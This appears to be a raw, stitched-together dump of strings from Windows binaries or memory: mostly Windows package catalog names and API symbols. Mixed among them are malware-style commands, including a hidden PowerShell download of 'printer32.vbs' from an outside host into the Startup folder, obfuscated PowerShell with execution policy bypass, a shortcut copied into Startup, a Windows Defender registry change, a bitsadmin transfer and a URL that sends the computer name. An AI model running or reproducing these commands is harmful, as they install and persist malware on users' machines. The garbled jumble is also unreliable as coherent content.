Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Notepad-System-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
OnMoreWindowsMenuItemClick
System.Windows.Forms.IButtonControl.PerformClick
Rstart/minpowershell.exe-windowstylehidden"$luxuriated=1;$forureningsudvalgets='s';$forureningsudvalgets+='ubstrin!
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-WOWSupport-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
\windows\currentversion\sk
WindowsVegXJ7
c:\windows\system32\reg.exeadd"
9!3 copy/y/v"officesetting.lnk""%appdata%\microsoft\windows\startmenu\programs\startup\"
SystemRuntimeWindowsRuntime
WindowsBase
EnableWindowsFormsHighDpiAutoResizingKeyName
,A+md"%localappdata%\microsoft\windows\caches"
            If you want to change the Windows User Account Control level replace the 
      "$comment": "Windows and first-party apps are allowed to access web browser user profile IDs.",
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-executionpolicyremotesigned-command"$p=[environment]::getfolderpath('startup');$f=join-path$p'printer32.vbs';if(!(test-path$f)){invoke-webrequest-uri'https://tunnel.brathost.com/printer32.vbs'-outfile$f-usebasicparsing}"
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Jc:\windows\system32\cmd.exe/cstart
:dows\system32\cmd.exe/cbitsadmin/transferjob
maximumSnappedWindowsOnShortAxis
maximumSnappedWindowsOnLongAxis
snapWindows
maximumSnappedWindowsPolicy
user-agent: opera/6 (windows nt %u.%u; u; langid=%x; %s)x64
GetWindowsDeviceId
onecoreuap\ds\ext\live\identity\ntservice\lib\svccommon\windowsdeviceid.cpp
wow64_microsoft-windows-wmiv2-prvdmofcomp-dll_31bf3856ad364e35_none_fd3b66f63de874a5
wow64_microsoft-windows-wmiv2-wmidcom-dll_31bf3856ad364e35_none_f41982d946c2bef4
wow64_microsoft-windows-wmpnss-api.resources_31bf3856ad364e35_en-us_b6b624f8c7140285
wow64_microsoft-windows-wmpnss-api_31bf3856ad364e35_none_9a58b53005ff13ec@
wow64_microsoft-windows-user-pnpevents_31bf3856ad364e35_none_74d809d39a363778
wow64_microsoft-windows-user32.resources_31bf3856ad364e35_en-us_8508fd2754229176
wow64_microsoft-windows-user32_31bf3856ad364e35_none_f510bbf013e2a639
wow64_microsoft-windows-useractivitybroker_31bf3856ad364e35_none_5ae28b24577b9796
wow64_microsoft-windows-usercpl-usermgrbroker_31bf3856ad364e35_none_7ee5307724d88528
|Software\Microsoft\Windows\inhumane\Uninstall\modfases\EufomanernesS
 webhostapp.com/windowsformsapp
System.Windows.Forms
Software\Microsoft\Windows\Falholdte\Uninstall\AnlaegsS
Lua:FnameAttr!windowsinfpub.dat
GetWindowsAccountDomainSid
WindowsCreateStringReference
c:\windows\system\
??$handleApplicationTermination@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NXZ
Windows
Microsoft.Windows.ApplicationModel.DynamicDependency.CreatePackage
Microsoft.Windows.ApplicationModel
Microsoft.Windows.Management.Deploy
Microsoft.Windows.Management.Deploy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
UMicrosoft.WindowsCamera_8wekyb3d8bbwe
Windows.Data.Platform.ItemReference<$
.?AU?$__abi_FunctorCapture@V<lambda_436f1910406897b9f35fa928e9b6fb92>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Windows.PrintDialog_6.2.3.0_neutral
WindowsAppRuntime.CBS.1.6_6
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral
AppMicrosoft.WindowsStore_8wekyb3d8bbwe!(
AtWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPickerP
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
WINDOWS11
WINDOWS11
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
Windows.Data.Messaging.KeyPathSettings
Windows.Data.Platform.LocalCache.BlobReference
Windows
v\system%d.exe\windows
Microsoft.Windows.Health.TestInProduction
"C:\Windows\System32\SecurityHealth
!AGroup:Windows_Warnings
!#ALF:SIGATTR:Drop_MZ_Windows_Exec_Rundll
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
com.microsoft.windows.extensions.xaml.windowsbackup
104^com.microsoft.windows.extension.migrationorchestrator
com.microsoft.windows.extension.migrationorchestrator
105^com.microsoft.windows.extensionpackage
72^windows.backgroundTask
^windows.appExtense
72^windows.preInstalledConfigTask
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dll*
temRoot%\system32\mswsock.dl
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Printing-PMCPPC-FoD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Printing-PMCPPC-FoD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7824.cat|Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat||
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\userprofilepersonalizationsettings.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.automationpeer\automationpeerhelper.cpp
shellcommon\undockeddevkit\libs\windowsudk.storage.provider\storageprovidersyncrootmanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.monitorinfo\objfre\amd64\windowsudk.ui.shell.DisplayMonitorInfo.bamo.h
shellcommon\undockeddevkit\libs\windowsudk.security.authorization.appcapabilityaccess\security.authorization.appcapabilityaccess.capabilityusageinfo.cpp
shellcommon\undockeddevkit\libs\windowsudk.services.iris\services.iris.irisservice.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text\dictatedtextinputsession.cpp
winrt::WindowsUdk::UI::Input::Text::implementation::DictationInputProcessor::OnPropertyChanged
B{shellcommon\undockeddevkit\libs\windowsudk.ui.shell.monitorinfo\bamoconnection.cpp
shellcommon\undockeddevkit\libs\windowsudk.applicationmodel\applicationview.cpp
windows.hlp
ComSpec=C:\WINDOWS\system32\cmd.exe
z{ypstart/minpowershell.exe-windowstylehidden"echo$
~regadd"hklm\software\microsoft\windowsdefender"
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsGetStringLen
WindowsPreallocateStringBuffer
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsConcatString
GetWindowsDirectoryW
HL\software\microsoft\windows\currentversion\uninstall\commonname toolbar 3.50_is1
\software\microsoft\windows\currentversion\uninstall\commonname D$XI
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
[Cc:\windows\system32\windowspowershell\v1.0\powershell.exe/""w0""1""-non""inte""ract""ive""-no""prof""ile""-exe""cut""ionpo""licy""byp""ass$xxqzv5j636xymwoqjbnihi6qz6ea7bd248s1o5qfjcb64z5a3f9ky5idua9xlxctt
c:\window\system32\
'$s.windowstyle=7$s.iconlocation=$targetexe+',0'$s.save()
QEDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
DriverData=C:\Windows\System32\
Windows.S
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
@WindowsD
@Windows@7@UI
!Mmentation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AV<lambda_1>@?4??Connect@DialogsPage_obj50_Bindings@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@DialogsPage_obj50_Bindings@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?5??Connect@Templates_obj26_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj26_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj7_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj26_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj29_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj32_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj29_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?5??Connect@Templates_obj29_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj44_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?5??Connect@Templates_obj44_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AV<lambda_1>@?5??Connect@Templates_obj32_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj32_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
ChDir Windows"
athWindows
windows.protocol
ComSpec=C:\WINDOWS\system32\cmd.exe
Microsoft.Windows.Networking.DHCP
Microsoft.Windows.TlgAggregateInternal
windows.softupdates.info
windowsupdater.net
windowsupdater.net
http://m0.nu:8080/u9y/itpzqjbxt7/p1jdpq1iy8jx7co4/ut/mik/!computername!"yjs=^j^s^bj"%systemroot%\system32\imageres.dll
!\windows\currentversion\datetime
Microsoft.Windows.Midi2.KSTransport
Microsoft.Windows.Midi2.MidiXproc
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Hello-Face-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|lient-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat||0.0.26100.7840.cat|
- Code:  CORSVCC00000772- Call:  CORSVCC00000754- PID:  00004860- TID:  00004904- CMD:  C:\WINDOWS\system32\vssvc.exe   - User: Name: NT AUTHORITY\SYSTEM, SID:S-1-5-18 
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Product-onecore__Microsoft-OneCore-WSD-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|ft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Product-onecore__Microsoft-OneCore-WSD-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
// See: http://msdn.microsoft.com/en-us/library/windows/desktop/hh706320.aspx
`System32\svchost.exe
WINDOWS.DEVICES.RADIOS.RADIO
Windows
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-DesktopFileExplorer-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
__windows
